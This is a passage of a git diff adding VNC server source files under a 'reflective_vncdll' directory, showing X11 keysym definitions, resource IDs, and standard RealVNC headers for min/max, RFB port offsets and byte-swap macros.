0x8c0 +#define XK_variation 0x8c1 +#define XK_infinity 0x8c2 +#define XK_nabla 0x8c5 +#define XK_approximate 0x8c8 +#define XK_similarequal 0x8c9 +#define XK_ifonlyif 0x8cd +#define XK_implies 0x8ce +#define XK_identical 0x8cf +#define XK_radical 0x8d6 +#define XK_includedin 0x8da +#define XK_includes 0x8db +#define XK_intersection 0x8dc +#define XK_union 0x8dd +#define XK_logicaland 0x8de +#define XK_logicalor 0x8df +#define XK_partialderivative 0x8ef +#define XK_function 0x8f6 +#define XK_leftarrow 0x8fb +#define XK_uparrow 0x8fc +#define XK_rightarrow 0x8fd +#define XK_downarrow 0x8fe +#endif /* XK_TECHNICAL */ + +/* + * Special + * Byte 3 = 9 + */ + +#ifdef XK_SPECIAL +#define XK_blank 0x9df +#define XK_soliddiamond 0x9e0 +#define XK_checkerboard 0x9e1 +#define XK_ht 0x9e2 +#define XK_ff 0x9e3 +#define XK_cr 0x9e4 +#define XK_lf 0x9e5 +#define XK_nl 0x9e8 +#define XK_vt 0x9e9 +#define XK_lowrightcorner 0x9ea +#define XK_uprightcorner 0x9eb +#define XK_upleftcorner 0x9ec +#define XK_lowleftcorner 0x9ed +#define XK_crossinglines 0x9ee +#define XK_horizlinescan1 0x9ef +#define XK_horizlinescan3 0x9f0 +#define XK_horizlinescan5 0x9f1 +#define XK_horizlinescan7 0x9f2 +#define XK_horizlinescan9 0x9f3 +#define XK_leftt 0x9f4 +#define XK_rightt 0x9f5 +#define XK_bott 0x9f6 +#define XK_topt 0x9f7 +#define XK_vertbar 0x9f8 +#endif /* XK_SPECIAL */ + +/* + * Publishing + * Byte 3 = a + */ + +#ifdef XK_PUBLISHING +#define XK_emspace 0xaa1 +#define XK_enspace 0xaa2 +#define XK_em3space 0xaa3 +#define XK_em4space 0xaa4 +#define XK_digitspace 0xaa5 +#define XK_punctspace 0xaa6 +#define XK_thinspace 0xaa7 +#define XK_hairspace 0xaa8 +#define XK_emdash 0xaa9 +#define XK_endash 0xaaa +#define XK_signifblank 0xaac +#define XK_ellipsis 0xaae +#define XK_doubbaselinedot 0xaaf +#define XK_onethird 0xab0 +#define XK_twothirds 0xab1 +#define XK_onefifth 0xab2 +#define XK_twofifths 0xab3 +#define XK_threefifths 0xab4 +#define XK_fourfifths 0xab5 +#define XK_onesixth 0xab6 +#define XK_fivesixths 0xab7 +#define XK_careof 0xab8 +#define XK_figdash 0xabb +#define XK_leftanglebracket 0xabc +#define XK_decimalpoint 0xabd +#define XK_rightanglebracket 0xabe +#define XK_marker 0xabf +#define XK_oneeighth 0xac3 +#define XK_threeeighths 0xac4 +#define XK_fiveeighths 0xac5 +#define XK_seveneighths 0xac6 +#define XK_trademark 0xac9 +#define XK_signaturemark 0xaca +#define XK_trademarkincircle 0xacb +#define XK_leftopentriangle 0xacc +#define XK_rightopentriangle 0xacd +#define XK_emopencircle 0xace +#define XK_emopenrectangle 0xacf +#define XK_leftsinglequotemark 0xad0 +#define XK_rightsinglequotemark 0xad1 +#define XK_leftdoublequotemark 0xad2 +#define XK_rightdoublequotemark 0xad3 +#define XK_prescription 0xad4 +#define XK_minutes 0xad6 +#define XK_seconds 0xad7 +#define XK_latincross 0xad9 +#define XK_hexagram 0xada +#define XK_filledrectbullet 0xadb +#define XK_filledlefttribullet 0xadc +#define XK_filledrighttribullet 0xadd +#define XK_emfilledcircle 0xade +#define XK_emfilledrect 0xadf +#define XK_enopencircbullet 0xae0 +#define XK_enopensquarebullet 0xae1 +#define XK_openrectbullet 0xae2 +#define XK_opentribulletup 0xae3 +#define XK_opentribulletdown 0xae4 +#define XK_openstar 0xae5 +#define XK_enfilledcircbullet 0xae6 +#define XK_enfilledsqbullet 0xae7 +#define XK_filledtribulletup 0xae8 +#define XK_filledtribulletdown 0xae9 +#define XK_leftpointer 0xaea +#define XK_rightpointer 0xaeb +#define XK_club 0xaec +#define XK_diamond 0xaed +#define XK_heart 0xaee +#define XK_maltesecross 0xaf0 +#define XK_dagger 0xaf1 +#define XK_doubledagger 0xaf2 +#define XK_checkmark 0xaf3 +#define XK_ballotcross 0xaf4 +#define XK_musicalsharp 0xaf5 +#define XK_musicalflat 0xaf6 +#define XK_malesymbol 0xaf7 +#define XK_femalesymbol 0xaf8 +#define XK_telephone 0xaf9 +#define XK_telephonerecorder 0xafa +#define XK_phonographcopyright 0xafb +#define XK_caret 0xafc +#define XK_singlelowquotemark 0xafd +#define XK_doublelowquotemark 0xafe +#define XK_cursor 0xaff +#endif /* XK_PUBLISHING */ + +/* + * APL + * Byte 3 = b + */ + +#ifdef XK_APL +#define XK_leftcaret 0xba3 +#define XK_rightcaret 0xba6 +#define XK_downcaret 0xba8 +#define XK_upcaret 0xba9 +#define XK_overbar 0xbc0 +#define XK_downtack 0xbc2 +#define XK_upshoe 0xbc3 +#define XK_downstile 0xbc4 +#define XK_underbar 0xbc6 +#define XK_jot 0xbca +#define XK_quad 0xbcc +#define XK_uptack 0xbce +#define XK_circle 0xbcf +#define XK_upstile 0xbd3 +#define XK_downshoe 0xbd6 +#define XK_rightshoe 0xbd8 +#define XK_leftshoe 0xbda +#define XK_lefttack 0xbdc +#define XK_righttack 0xbfc +#endif /* XK_APL */ + +/* + * Hebrew + * Byte 3 = c + */ + +#ifdef XK_HEBREW +#define XK_hebrew_doublelowline 0xcdf +#define XK_hebrew_aleph 0xce0 +#define XK_hebrew_bet 0xce1 +#define XK_hebrew_beth 0xce1 /* deprecated */ +#define XK_hebrew_gimel 0xce2 +#define XK_hebrew_gimmel 0xce2 /* deprecated */ +#define XK_hebrew_dalet 0xce3 +#define XK_hebrew_daleth 0xce3 /* deprecated */ +#define XK_hebrew_he 0xce4 +#define XK_hebrew_waw 0xce5 +#define XK_hebrew_zain 0xce6 +#define XK_hebrew_zayin 0xce6 /* deprecated */ +#define XK_hebrew_chet 0xce7 +#define XK_hebrew_het 0xce7 /* deprecated */ +#define XK_hebrew_tet 0xce8 +#define XK_hebrew_teth 0xce8 /* deprecated */ +#define XK_hebrew_yod 0xce9 +#define XK_hebrew_finalkaph 0xcea +#define XK_hebrew_kaph 0xceb +#define XK_hebrew_lamed 0xcec +#define XK_hebrew_finalmem 0xced +#define XK_hebrew_mem 0xcee +#define XK_hebrew_finalnun 0xcef +#define XK_hebrew_nun 0xcf0 +#define XK_hebrew_samech 0xcf1 +#define XK_hebrew_samekh 0xcf1 /* deprecated */ +#define XK_hebrew_ayin 0xcf2 +#define XK_hebrew_finalpe 0xcf3 +#define XK_hebrew_pe 0xcf4 +#define XK_hebrew_finalzade 0xcf5 +#define XK_hebrew_finalzadi 0xcf5 /* deprecated */ +#define XK_hebrew_zade 0xcf6 +#define XK_hebrew_zadi 0xcf6 /* deprecated */ +#define XK_hebrew_qoph 0xcf7 +#define XK_hebrew_kuf 0xcf7 /* deprecated */ +#define XK_hebrew_resh 0xcf8 +#define XK_hebrew_shin 0xcf9 +#define XK_hebrew_taw 0xcfa +#define XK_hebrew_taf 0xcfa /* deprecated */ +#define XK_Hebrew_switch 0xFF7E /* Alias for mode_switch */ +#endif /* XK_HEBREW */ + +/* + * Thai + * Byte 3 = d + */ + +#ifdef XK_THAI +#define XK_Thai_kokai 0xda1 +#define XK_Thai_khokhai 0xda2 +#define XK_Thai_khokhuat 0xda3 +#define XK_Thai_khokhwai 0xda4 +#define XK_Thai_khokhon 0xda5 +#define XK_Thai_khorakhang 0xda6 +#define XK_Thai_ngongu 0xda7 +#define XK_Thai_chochan 0xda8 +#define XK_Thai_choching 0xda9 +#define XK_Thai_chochang 0xdaa +#define XK_Thai_soso 0xdab +#define XK_Thai_chochoe 0xdac +#define XK_Thai_yoying 0xdad +#define XK_Thai_dochada 0xdae +#define XK_Thai_topatak 0xdaf +#define XK_Thai_thothan 0xdb0 +#define XK_Thai_thonangmontho 0xdb1 +#define XK_Thai_thophuthao 0xdb2 +#define XK_Thai_nonen 0xdb3 +#define XK_Thai_dodek 0xdb4 +#define XK_Thai_totao 0xdb5 +#define XK_Thai_thothung 0xdb6 +#define XK_Thai_thothahan 0xdb7 +#define XK_Thai_thothong 0xdb8 +#define XK_Thai_nonu 0xdb9 +#define XK_Thai_bobaimai 0xdba +#define XK_Thai_popla 0xdbb +#define XK_Thai_phophung 0xdbc +#define XK_Thai_fofa 0xdbd +#define XK_Thai_phophan 0xdbe +#define XK_Thai_fofan 0xdbf +#define XK_Thai_phosamphao 0xdc0 +#define XK_Thai_moma 0xdc1 +#define XK_Thai_yoyak 0xdc2 +#define XK_Thai_rorua 0xdc3 +#define XK_Thai_ru 0xdc4 +#define XK_Thai_loling 0xdc5 +#define XK_Thai_lu 0xdc6 +#define XK_Thai_wowaen 0xdc7 +#define XK_Thai_sosala 0xdc8 +#define XK_Thai_sorusi 0xdc9 +#define XK_Thai_sosua 0xdca +#define XK_Thai_hohip 0xdcb +#define XK_Thai_lochula 0xdcc +#define XK_Thai_oang 0xdcd +#define XK_Thai_honokhuk 0xdce +#define XK_Thai_paiyannoi 0xdcf +#define XK_Thai_saraa 0xdd0 +#define XK_Thai_maihanakat 0xdd1 +#define XK_Thai_saraaa 0xdd2 +#define XK_Thai_saraam 0xdd3 +#define XK_Thai_sarai 0xdd4 +#define XK_Thai_saraii 0xdd5 +#define XK_Thai_saraue 0xdd6 +#define XK_Thai_sarauee 0xdd7 +#define XK_Thai_sarau 0xdd8 +#define XK_Thai_sarauu 0xdd9 +#define XK_Thai_phinthu 0xdda +#define XK_Thai_maihanakat_maitho 0xdde +#define XK_Thai_baht 0xddf +#define XK_Thai_sarae 0xde0 +#define XK_Thai_saraae 0xde1 +#define XK_Thai_sarao 0xde2 +#define XK_Thai_saraaimaimuan 0xde3 +#define XK_Thai_saraaimaimalai 0xde4 +#define XK_Thai_lakkhangyao 0xde5 +#define XK_Thai_maiyamok 0xde6 +#define XK_Thai_maitaikhu 0xde7 +#define XK_Thai_maiek 0xde8 +#define XK_Thai_maitho 0xde9 +#define XK_Thai_maitri 0xdea +#define XK_Thai_maichattawa 0xdeb +#define XK_Thai_thanthakhat 0xdec +#define XK_Thai_nikhahit 0xded +#define XK_Thai_leksun 0xdf0 +#define XK_Thai_leknung 0xdf1 +#define XK_Thai_leksong 0xdf2 +#define XK_Thai_leksam 0xdf3 +#define XK_Thai_leksi 0xdf4 +#define XK_Thai_lekha 0xdf5 +#define XK_Thai_lekhok 0xdf6 +#define XK_Thai_lekchet 0xdf7 +#define XK_Thai_lekpaet 0xdf8 +#define XK_Thai_lekkao 0xdf9 +#endif /* XK_THAI */ + +/* + * Korean + * Byte 3 = e + */ + +#ifdef XK_KOREAN + +#define XK_Hangul 0xff31 /* Hangul start/stop(toggle) */ +#define XK_Hangul_Start 0xff32 /* Hangul start */ +#define XK_Hangul_End 0xff33 /* Hangul end, English start */ +#define XK_Hangul_Hanja 0xff34 /* Start Hangul->Hanja Conversion */ +#define XK_Hangul_Jamo 0xff35 /* Hangul Jamo mode */ +#define XK_Hangul_Romaja 0xff36 /* Hangul Romaja mode */ +#define XK_Hangul_Codeinput 0xff37 /* Hangul code input mode */ +#define XK_Hangul_Jeonja 0xff38 /* Jeonja mode */ +#define XK_Hangul_Banja 0xff39 /* Banja mode */ +#define XK_Hangul_PreHanja 0xff3a /* Pre Hanja conversion */ +#define XK_Hangul_PostHanja 0xff3b /* Post Hanja conversion */ +#define XK_Hangul_SingleCandidate 0xff3c /* Single candidate */ +#define XK_Hangul_MultipleCandidate 0xff3d /* Multiple candidate */ +#define XK_Hangul_PreviousCandidate 0xff3e /* Previous candidate */ +#define XK_Hangul_Special 0xff3f /* Special symbols */ +#define XK_Hangul_switch 0xFF7E /* Alias for mode_switch */ + +/* Hangul Consonant Characters */ +#define XK_Hangul_Kiyeog 0xea1 +#define XK_Hangul_SsangKiyeog 0xea2 +#define XK_Hangul_KiyeogSios 0xea3 +#define XK_Hangul_Nieun 0xea4 +#define XK_Hangul_NieunJieuj 0xea5 +#define XK_Hangul_NieunHieuh 0xea6 +#define XK_Hangul_Dikeud 0xea7 +#define XK_Hangul_SsangDikeud 0xea8 +#define XK_Hangul_Rieul 0xea9 +#define XK_Hangul_RieulKiyeog 0xeaa +#define XK_Hangul_RieulMieum 0xeab +#define XK_Hangul_RieulPieub 0xeac +#define XK_Hangul_RieulSios 0xead +#define XK_Hangul_RieulTieut 0xeae +#define XK_Hangul_RieulPhieuf 0xeaf +#define XK_Hangul_RieulHieuh 0xeb0 +#define XK_Hangul_Mieum 0xeb1 +#define XK_Hangul_Pieub 0xeb2 +#define XK_Hangul_SsangPieub 0xeb3 +#define XK_Hangul_PieubSios 0xeb4 +#define XK_Hangul_Sios 0xeb5 +#define XK_Hangul_SsangSios 0xeb6 +#define XK_Hangul_Ieung 0xeb7 +#define XK_Hangul_Jieuj 0xeb8 +#define XK_Hangul_SsangJieuj 0xeb9 +#define XK_Hangul_Cieuc 0xeba +#define XK_Hangul_Khieuq 0xebb +#define XK_Hangul_Tieut 0xebc +#define XK_Hangul_Phieuf 0xebd +#define XK_Hangul_Hieuh 0xebe + +/* Hangul Vowel Characters */ +#define XK_Hangul_A 0xebf +#define XK_Hangul_AE 0xec0 +#define XK_Hangul_YA 0xec1 +#define XK_Hangul_YAE 0xec2 +#define XK_Hangul_EO 0xec3 +#define XK_Hangul_E 0xec4 +#define XK_Hangul_YEO 0xec5 +#define XK_Hangul_YE 0xec6 +#define XK_Hangul_O 0xec7 +#define XK_Hangul_WA 0xec8 +#define XK_Hangul_WAE 0xec9 +#define XK_Hangul_OE 0xeca +#define XK_Hangul_YO 0xecb +#define XK_Hangul_U 0xecc +#define XK_Hangul_WEO 0xecd +#define XK_Hangul_WE 0xece +#define XK_Hangul_WI 0xecf +#define XK_Hangul_YU 0xed0 +#define XK_Hangul_EU 0xed1 +#define XK_Hangul_YI 0xed2 +#define XK_Hangul_I 0xed3 + +/* Hangul syllable-final (JongSeong) Characters */ +#define XK_Hangul_J_Kiyeog 0xed4 +#define XK_Hangul_J_SsangKiyeog 0xed5 +#define XK_Hangul_J_KiyeogSios 0xed6 +#define XK_Hangul_J_Nieun 0xed7 +#define XK_Hangul_J_NieunJieuj 0xed8 +#define XK_Hangul_J_NieunHieuh 0xed9 +#define XK_Hangul_J_Dikeud 0xeda +#define XK_Hangul_J_Rieul 0xedb +#define XK_Hangul_J_RieulKiyeog 0xedc +#define XK_Hangul_J_RieulMieum 0xedd +#define XK_Hangul_J_RieulPieub 0xede +#define XK_Hangul_J_RieulSios 0xedf +#define XK_Hangul_J_RieulTieut 0xee0 +#define XK_Hangul_J_RieulPhieuf 0xee1 +#define XK_Hangul_J_RieulHieuh 0xee2 +#define XK_Hangul_J_Mieum 0xee3 +#define XK_Hangul_J_Pieub 0xee4 +#define XK_Hangul_J_PieubSios 0xee5 +#define XK_Hangul_J_Sios 0xee6 +#define XK_Hangul_J_SsangSios 0xee7 +#define XK_Hangul_J_Ieung 0xee8 +#define XK_Hangul_J_Jieuj 0xee9 +#define XK_Hangul_J_Cieuc 0xeea +#define XK_Hangul_J_Khieuq 0xeeb +#define XK_Hangul_J_Tieut 0xeec +#define XK_Hangul_J_Phieuf 0xeed +#define XK_Hangul_J_Hieuh 0xeee + +/* Ancient Hangul Consonant Characters */ +#define XK_Hangul_RieulYeorinHieuh 0xeef +#define XK_Hangul_SunkyeongeumMieum 0xef0 +#define XK_Hangul_SunkyeongeumPieub 0xef1 +#define XK_Hangul_PanSios 0xef2 +#define XK_Hangul_KkogjiDalrinIeung 0xef3 +#define XK_Hangul_SunkyeongeumPhieuf 0xef4 +#define XK_Hangul_YeorinHieuh 0xef5 + +/* Ancient Hangul Vowel Characters */ +#define XK_Hangul_AraeA 0xef6 +#define XK_Hangul_AraeAE 0xef7 + +/* Ancient Hangul syllable-final (JongSeong) Characters */ +#define XK_Hangul_J_PanSios 0xef8 +#define XK_Hangul_J_KkogjiDalrinIeung 0xef9 +#define XK_Hangul_J_YeorinHieuh 0xefa + +/* Korean currency symbol */ +#define XK_Korean_Won 0xeff + +#endif /* XK_KOREAN */ + +#ifdef XK_CURRENCY +#define XK_EcuSign 0x20a0 +#define XK_ColonSign 0x20a1 +#define XK_CruzeiroSign 0x20a2 +#define XK_FFrancSign 0x20a3 +#define XK_LiraSign 0x20a4 +#define XK_MillSign 0x20a5 +#define XK_NairaSign 0x20a6 +#define XK_PesetaSign 0x20a7 +#define XK_RupeeSign 0x20a8 +#define XK_WonSign 0x20a9 +#define XK_NewSheqelSign 0x20aa +#define XK_DongSign 0x20ab +#define XK_EuroSign 0x20ac +#endif diff --git a/external/source/reflective_vncdll/winvnc/winvnc/minmax.h b/external/source/reflective_vncdll/winvnc/winvnc/minmax.h new file mode 100644 index 0000000000..8715826444 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/minmax.h @@ -0,0 +1,48 @@ +// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. +// +// This file is part of the VNC system. +// +// The VNC system is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the VNC system is not available from the place +// whence you received this file, check http://www.uk.research.att.com/vnc or contact +// the authors on vnc@uk.research.att.com for information on obtaining it. + + +// Routines to calculate the maximum and minimum of two integers + +#if !defined(MINMAX_INCLUDED) +#define MINMAX_INCLUDED +#pragma once + +// Some routines used internally to minimise and maximise integers +static inline int Max(int x, int y) +{ + if (x>y) + return x; + else + return y; +} + +static inline int Min(int x, int y) +{ + if (x>y) + return y; + else + return x; +} + +#endif \ No newline at end of file diff --git a/external/source/reflective_vncdll/winvnc/winvnc/res/animatedmemoryimagesource.class b/external/source/reflective_vncdll/winvnc/winvnc/res/animatedmemoryimagesource.class new file mode 100644 index 0000000000..43e22a0f41 Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/winvnc/res/animatedmemoryimagesource.class differ diff --git a/external/source/reflective_vncdll/winvnc/winvnc/res/authenticationpanel.class b/external/source/reflective_vncdll/winvnc/winvnc/res/authenticationpanel.class new file mode 100644 index 0000000000..dbcca7f7f5 Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/winvnc/res/authenticationpanel.class differ diff --git a/external/source/reflective_vncdll/winvnc/winvnc/res/clipboardframe.class b/external/source/reflective_vncdll/winvnc/winvnc/res/clipboardframe.class new file mode 100644 index 0000000000..8b83e74537 Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/winvnc/res/clipboardframe.class differ diff --git a/external/source/reflective_vncdll/winvnc/winvnc/res/descipher.class b/external/source/reflective_vncdll/winvnc/winvnc/res/descipher.class new file mode 100644 index 0000000000..1746c68cec Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/winvnc/res/descipher.class differ diff --git a/external/source/reflective_vncdll/winvnc/winvnc/res/icon1.ico b/external/source/reflective_vncdll/winvnc/winvnc/res/icon1.ico new file mode 100644 index 0000000000..42ea6af930 Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/winvnc/res/icon1.ico differ diff --git a/external/source/reflective_vncdll/winvnc/winvnc/res/optionsframe.class b/external/source/reflective_vncdll/winvnc/winvnc/res/optionsframe.class new file mode 100644 index 0000000000..72f8cffbe0 Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/winvnc/res/optionsframe.class differ diff --git a/external/source/reflective_vncdll/winvnc/winvnc/res/rfbproto.class b/external/source/reflective_vncdll/winvnc/winvnc/res/rfbproto.class new file mode 100644 index 0000000000..01eda3c127 Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/winvnc/res/rfbproto.class differ diff --git a/external/source/reflective_vncdll/winvnc/winvnc/res/vnc.bmp b/external/source/reflective_vncdll/winvnc/winvnc/res/vnc.bmp new file mode 100644 index 0000000000..895749f1de Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/winvnc/res/vnc.bmp differ diff --git a/external/source/reflective_vncdll/winvnc/winvnc/res/vnccanvas.class b/external/source/reflective_vncdll/winvnc/winvnc/res/vnccanvas.class new file mode 100644 index 0000000000..626d381f42 Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/winvnc/res/vnccanvas.class differ diff --git a/external/source/reflective_vncdll/winvnc/winvnc/res/vncviewer.class b/external/source/reflective_vncdll/winvnc/winvnc/res/vncviewer.class new file mode 100644 index 0000000000..d6f584a849 Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/winvnc/res/vncviewer.class differ diff --git a/external/source/reflective_vncdll/winvnc/winvnc/res/vncviewer.jar b/external/source/reflective_vncdll/winvnc/winvnc/res/vncviewer.jar new file mode 100644 index 0000000000..d803c77850 Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/winvnc/res/vncviewer.jar differ diff --git a/external/source/reflective_vncdll/winvnc/winvnc/res/winvnc.ico b/external/source/reflective_vncdll/winvnc/winvnc/res/winvnc.ico new file mode 100644 index 0000000000..305340faaa Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/winvnc/res/winvnc.ico differ diff --git a/external/source/reflective_vncdll/winvnc/winvnc/resource.h b/external/source/reflective_vncdll/winvnc/winvnc/resource.h new file mode 100644 index 0000000000..d27dbfe45b --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/resource.h @@ -0,0 +1,90 @@ +//{{NO_DEPENDENCIES}} +// Microsoft Developer Studio generated include file. +// Used by winvnc.rc +// +#define IDI_WINVNC 102 +#define IDD_PROPERTIES 102 +#define IDR_TRAYMENU 104 +#define IDR_VNCVIEWER_JAR 118 +#define IDR_AUTHPANEL_CLASS 119 +#define IDR_BLOCKCIPHER_CLASS 120 +#define IDR_CIPHER_CLASS 121 +#define IDR_CLIPBOARDFRAME_CLASS 122 +#define IDR_CRYPTOUTILS_CLASS 123 +#define IDR_IDEACIPHER_CLASS 124 +#define IDR_OPTIONSFRAME_CLASS 125 +#define IDR_RFBPROTO_CLASS 126 +#define IDR_VNCCANVAS_CLASS 127 +#define IDR_VNCVIEWER_CLASS 128 +#define IDR_ANIMMEMIMAGESRC_CLASS 129 +#define IDD_ABOUT 131 +#define IDB_VNCLOGO 132 +#define IDR_DESCIPHER_CLASS 133 +#define IDI_FLASH 134 +#define IDD_OUTGOING_CONN 135 +#define IDD_ACCEPT_CONN 136 +#define IDC_CONNECT_BORDER 1003 +#define IDC_CONNECT_SOCK 1004 +#define IDC_CONNECT_CORBA 1005 +#define IDC_PORTNO_LABEL 1006 +#define IDC_CONNECT_HTTP 1006 +#define IDC_PASSWORD_LABEL 1007 +#define IDC_PORTNO 1008 +#define IDC_PASSWORD 1009 +#define IDC_UPDATE_BORDER 1010 +#define IDC_POLL_FULLSCREEN 1011 +#define IDC_CONSOLE_ONLY 1012 +#define IDC_POLL_FOREGROUND 1013 +#define IDC_POLL_UNDER_CURSOR 1014 +#define IDC_ONEVENT_ONLY 1015 +#define IDC_VNCLOGO 1016 +#define IDC_CONNSETTINGS_BORDER 1016 +#define IDC_VERSION 1017 +#define IDC_DISPLAY_NO_LABEL 1017 +#define IDC_NAME 1018 +#define IDC_EMAIL 1019 +#define IDC_BUILDTEXT 1019 +#define IDC_VNC 1020 +#define IDC_ATT 1021 +#define IDC_BUILDTIME 1021 +#define IDC_WWW 1022 +#define IDC_COPYRIGHT 1023 +#define IDC_DISABLE_INPUTS 1024 +#define IDC_APPLY 1025 +#define IDC_PORTNO_AUTO 1026 +#define IDC_HOSTNAME_EDIT 1027 +#define IDC_DISABLE_LOCAL_INPUTS 1027 +#define IDC_HOSTNAME_STATIC 1028 +#define IDC_REMOVE_WALLPAPER 1028 +#define IDC_NOTE_STATIC 1029 +#define IDACCEPT 1030 +#define IDREJECT 1031 +#define IDC_STATIC_TEXT1 1032 +#define IDC_ACCEPT_IP 1033 +#define IDC_STATIC_TEXT 1034 +#define IDC_ACCEPT_TIMEOUT 1035 +#define IDC_TRADEMARK 1036 +#define IDC_AUTO_DISPLAY_NO 1037 +#define IDC_MANUAL_DISPLAY_NO 1038 +#define IDC_DISPLAY_NUMBER 1039 +#define IDC_LOCKSETTINGS 1040 +#define IDC_LOCKSETTING_NOTHING 1041 +#define IDC_LOCKSETTING_LOGOFF 1042 +#define IDC_LOCKSETTING_LOCK 1043 +#define ID_PROPERTIES 40001 +#define ID_CLOSE 40002 +#define ID_KILLCLIENTS 40003 +#define ID_ABOUT 40004 +#define ID_OUTGOING_CONN 40005 +#define ID_DEFAULT_PROPERTIES 40006 + +// Next default values for new objects +// +#ifdef APSTUDIO_INVOKED +#ifndef APSTUDIO_READONLY_SYMBOLS +#define _APS_NEXT_RESOURCE_VALUE 137 +#define _APS_NEXT_COMMAND_VALUE 40007 +#define _APS_NEXT_CONTROL_VALUE 1046 +#define _APS_NEXT_SYMED_VALUE 101 +#endif +#endif diff --git a/external/source/reflective_vncdll/winvnc/winvnc/rfb.h b/external/source/reflective_vncdll/winvnc/winvnc/rfb.h new file mode 100644 index 0000000000..51ccb84c40 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/rfb.h @@ -0,0 +1,84 @@ +// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved. +// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. +// +// This file is part of the VNC system. +// +// The VNC system is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the VNC system is not available from the place +// whence you received this file, check http://www.uk.research.att.com/vnc or contact +// the authors on vnc@uk.research.att.com for information on obtaining it. + + +// rfb.h +// This includes the rfb spec header, the port numbers, +// the CARD type definitions and various useful macros. +// + +#ifndef RFB_H__ +#define RFB_H__ + +// Define the CARD* types as used in X11/Xmd.h + +typedef unsigned long CARD32; +typedef unsigned short CARD16; +typedef short INT16; +typedef unsigned char CARD8; + +// Define the port number offsets +#define FLASH_PORT_OFFSET 5400 +#define INCOMING_PORT_OFFSET 5500 +#define HTTP_PORT_OFFSET 5800 // we don't use this in Venice +#define RFB_PORT_OFFSET 5900 + +#define PORT_TO_DISPLAY(p) ( (p) - RFB_PORT_OFFSET ) +#define DISPLAY_TO_PORT(d) ( (d) + RFB_PORT_OFFSET ) + +// include the protocol spec +#include + +// define some quick endian conversions +// change this if necessary +#define LITTLE_ENDIAN_HOST + +#ifdef LITTLE_ENDIAN_HOST + +#define Swap16IfLE(s) \ + ((CARD16) ((((s) & 0xff) << 8) | (((s) >> 8) & 0xff))) +#define Swap32IfLE(l) \ + ((CARD32) ((((l) & 0xff000000) >> 24) | \ + (((l) & 0x00ff0000) >> 8) | \ + (((l) & 0x0000ff00) << 8) | \ + (((l) & 0x000000ff) << 24))) + +#else + +#define Swap16IfLE(s) (s) +#define Swap32IfLE(l) (l) + +#endif + +// unconditional swaps +#define Swap16(s) \ + ((CARD16) ((((s) & 0xff) << 8) | (((s) >> 8) & 0xff))) +#define Swap32(l) \ + ((CARD32) ((((l) & 0xff000000) >> 24) | \ + (((l) & 0x00ff0000) >> 8) | \ + (((l) & 0x0000ff00) << 8) | \ + (((l) & 0x000000ff) << 24))) + + +#endif diff --git a/external/source/reflective_vncdll/winvnc/winvnc/rfbMisc.h b/external/source/reflective_vncdll/winvnc/winvnc/rfbMisc.h new file mode 100644 index 0000000000..00fc03d0cf --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/rfbMisc.h @@ -0,0 +1,120 @@ +// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved. +// +// This program is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the program is not available from the place from +// which you received this file, check http://www.realvnc.com/ or contact +// the authors on info@realvnc.com for information on obtaining it. + +#ifndef __RFB_MISC_INCLUDED__ +#define __RFB_MISC_INCLUDED__ + +// Some platforms (e.g. Windows) include max() and min() functions +// in their standard headers. +// These macros are pdefined only when standard equivalents cannot +// be found. + +#ifndef max +#define max(a,b) (((a) > (b)) ? (a) : (b)) +#endif + +#ifndef min +#define min(a,b) (((a) < (b)) ? (a) : (b)) +#endif + +#ifdef WIN32 + +// WIN32-ONLY PROFILING CODE +// +// CpuTime and CpuTimer provide a simple way to profile particular +// sections of code +// +// Use one CpuTime object per task to be profiled. CpuTime instances +// maintain a cumulative total of time spent in user and kernel space +// by threads. +// When a CpuTime object is created, a label must be specified to +// identify the task being profiled. +// When the object is destroyed, it will print debugging information +// containing the user and kernel times accumulated. +// +// Place a CpuTimer object in each section of code which is to be +// profiled. When the object is created, it snapshots the current +// kernel and user times and stores them. These are used when the +// object is destroyed to establish how much time has elapsed in the +// intervening period. The accumulated time is then added to the +// associated CpuTime object. +// +// This code works only on platforms providing 